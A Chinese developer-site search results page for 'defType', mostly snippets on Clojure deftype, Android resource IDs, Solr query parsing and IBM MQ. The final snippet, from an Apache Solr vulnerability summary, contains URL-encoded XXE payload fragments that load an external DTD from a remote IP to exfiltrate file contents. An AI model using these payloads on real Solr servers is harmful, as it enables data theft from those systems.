首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏偏前端工程师的驿站

    (cljs/run-at (JSVM. :all) "一次说白DataType、Record和Protocol")

    clj/cljs不单内置了List、Vector、Set和Map等数据结构,还提供deftype和defrecord让我们可以自定义数据结构,以满足实际开发需求。 这样一看两者貌似没啥区别,其实区别在于成员的操作上 ;; deftype取成员值 (. 上面我们通过deftype和defrecord我们可以自定义数据结构,其实我们可以通过实现已有的Protocol或自定义的Protocol来扩展数据结构的能力。 而deftype、defrecord更多是针对面向对象编程来使用,或者是面对内置操作不足以描述逻辑时作为扩展的手段。 也正是deftype,defrecord和defprotocol让我们从OOP转FP时感觉更加舒坦一点。  

    1K80发布于 2018-01-18
  • 来自专栏技术小黑屋

    Android根据资源名获取资源ID

    defType和defPackage省略时,需要将其设置成null 注意这个方法不提倡,因为直接通过资源ID访问资源会更加效率高 如果资源没有找到,返回0,在Android资源ID中0不是合法的资源ID The first * two components (package and type) are optional if defType and * defPackage, respectively * @param defType Optional default resource type to find, if "type/" is * not (0 is not a valid resource ID.) */ public int getIdentifier(String name, String defType, String (Exception e) { // Ignore } return mAssets.getResourceIdentifier(name, defType

    4.4K10发布于 2018-09-04
  • 来自专栏偏前端工程师的驿站

    (cljs/run-at (JSVM. :all) "一次说白DataType、Record和Protocol")

    clj/cljs不单内置了List、Vector、Set和Map等数据结构,还提供deftype和defrecord让我们可以自定义数据结构,以满足实际开发需求。 这样一看两者貌似没啥区别,其实区别在于成员的操作上 ;; deftype取成员值 (. 上面我们通过deftype和defrecord我们可以自定义数据结构,其实我们可以通过实现已有的Protocol或自定义的Protocol来扩展数据结构的能力。 而deftype、defrecord更多是针对面向对象编程来使用,或者是面对内置操作不足以描述逻辑时作为扩展的手段。 也正是deftype,defrecord和defprotocol让我们从OOP转FP时感觉更加舒坦一点。  

    66940发布于 2018-07-11
  • 来自专栏向治洪

    一文了解Android游戏SDK开发

    * @param defType Optional default resource type to find, if "type/" is * not (0 is not a valid resource ID.) */ public int getIdentifier(String name, String defType, String defPackage) { return mResourcesImpl.getIdentifier(name, defType, defPackage); } 其中,第一个参数是资源名称 : String, name: String): Int { //缓存 val key = defType + "_" + name val 主要由id(资源id)、name(资源名称)、value(资源路径)都可以通过这个索引表来互相转换,前面说过 Resources#getIdentifier(String name, String defType

    3.2K10发布于 2020-07-15
  • 来自专栏向治洪

    一文了解Android游戏SDK开发

    * @param defType Optional default resource type to find, if "type/" is * not (0 is not a valid resource ID.) */ public int getIdentifier(String name, String defType, String defPackage) { return mResourcesImpl.getIdentifier(name, defType, defPackage); } 其中,第一个参数是资源名称 : String, name: String): Int { //缓存 val key = defType + "_" + name val 主要由id(资源id)、name(资源名称)、value(资源路径)都可以通过这个索引表来互相转换,前面说过 Resources#getIdentifier(String name, String defType

    3.3K00发布于 2020-07-05
  • 来自专栏TSINGSEE青犀视频

    EasyDSS点播功能下只有原画分辨率才有声音的问题是什么原因造成的?

    , _ := strconv.ParseFloat(sizes[0], 64) h, _ := strconv.ParseFloat(sizes[1], 64) switch defType

    60920发布于 2021-03-02
  • 来自专栏振兴的Android修炼手册

    Android换肤原理和Android-Skin-Loader框架解析

    * @param name 描述资源的名称 * @param defType 资源的类型 * @param defPackage 包名 * * @return 返回资源id,0标识未找到该资源 */ public int getIdentifier(String name, String defType, String defPackage) (Exception e) { // Ignore } return mAssets.getResourceIdentifier(name, defType 这里我们需要注意的一点是getIdentifier(String name, String defType, String defPackage)方法和getString(int id)方法所调用Resources

    5.9K20发布于 2020-05-29
  • 来自专栏ppjun专栏

    如何找到第三方库的最新版本

    "status": 0, "QTime": 0, "params": { "q": "navi-3dmap", "defType

    1.5K30发布于 2018-09-05
  • 来自专栏程序猿小亮的专栏

    Option Explicit

    如果没有使用 Option Explicit 语句,除非使用Deftype 语句指定了缺省类型,否则所有未声明的变量都是 Variant 类型的。

    1.3K20发布于 2021-01-29
  • 来自专栏HUC思梦的java专栏

    IBM MQ常用命令

    远程队列定义 DEFINE QREMOTE(QRNAME) + RNAME(AAA) RQMNAME(QMGRNAME) + XMITQ(QTNAME) 定义模型队列 DEFINE QMODEL(QNAME) DEFTYPE

    2.1K10发布于 2020-09-03
  • 来自专栏码客

    Android图片相关

    ); (3)通过图片的名称获得图片的id(两种方法) Resources res = context.getResources(); int id =res.getIdentifier(name, defType , defPackage); //name:图片的名,defType:资源类型(drawable,string。。。)

    1.1K30发布于 2019-10-22
  • 来自专栏我是攻城师

    如何合理的控制solr查询的命中的数量和质量?

    这个使用solr的edismax可以解决,方法如下: 使用edismax,在q里写完 name:北京xxxxx饭店后 在Raw Query Paramters参数里面写 defType=edismax

    2.2K50发布于 2018-05-11
  • 来自专栏Android相关

    Android的打包过程与资源分配

    int getResourceIdentifier(String name, String defType

    1.3K30发布于 2018-12-21
  • 来自专栏我是攻城师

    Lucene+Solr+ElasticSearch查询匹配优化

    (Minimum Should Match)来灵活控制查询策略 举个例子: 北京奇虎科技有限公司 使用IK最细粒度分词后内容:北京/奇虎/科技/有限公司/有限/有/限/公司 我们可以通过defType

    1.6K50发布于 2018-05-14
  • 来自专栏开源部署

    Twitter Storm源代码分析之Tuple是如何发送的

    02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 (deftype

    60910编辑于 2022-06-30
  • 来自专栏我是攻城师

    分布式日志收集之Logstash 笔记(二)

    cpyName:兰州顶津食品有限公司++OR+sname:"兰州顶津食品有限公司"^10+OR+oldName:兰州顶津食品有限公司 +&wt=javabin&fq=&version=2&rows=10&defType

    96760发布于 2018-05-14
  • 来自专栏Hadoop实操

    0487-CDH6.1的新功能

    4.在XML查询解析器(defType = xmlparser或{!xmlparser ...})中,默认情况下现在不允许解析外部实体。 4.与Learning to Rank重新排序查询解析一起使用的rq参数不再考虑defType参数。 如果defType = edismax,q = {!myparser ...}不起作用,就将所需的查询解析器放入defType参数中。 如果deftype = edismax,hl.q = {!

    2.9K40发布于 2018-12-29
  • 来自专栏我是攻城师

    如何实现Solr自定义评分查询

    word">easy_test</str> </lst> </queryParser> 6, 重启solr,或者reload指定的core 7,打开solr的ui页面,指定defType

    2K70发布于 2018-05-14
  • 来自专栏刘望舒

    Android资源动态加载以及相关原理分析

    mAssets.ensureStringBlocks(); } 通过构造函数便可以得知mAssets的来源,所有的资源都是通过mAssets访问的,比如: int getIdentifier(String name, String defType (Exception e) { // Ignore } return mAssets.getResourceIdentifier(name, defType

    1.9K80发布于 2018-02-01
  • 来自专栏黑白天安全团队

    Apache Solr漏洞总结

    22http%3a%2f%2f192.168.239.170%2f1.dtd%22%3E%25ext%3b%25ent%3b%5d%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType 22http%3a%2f%2f192.168.50.167%2f1.dtd%22%3E%25ext%3b%25ent%3b]%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType

    4.9K11发布于 2021-04-08
领券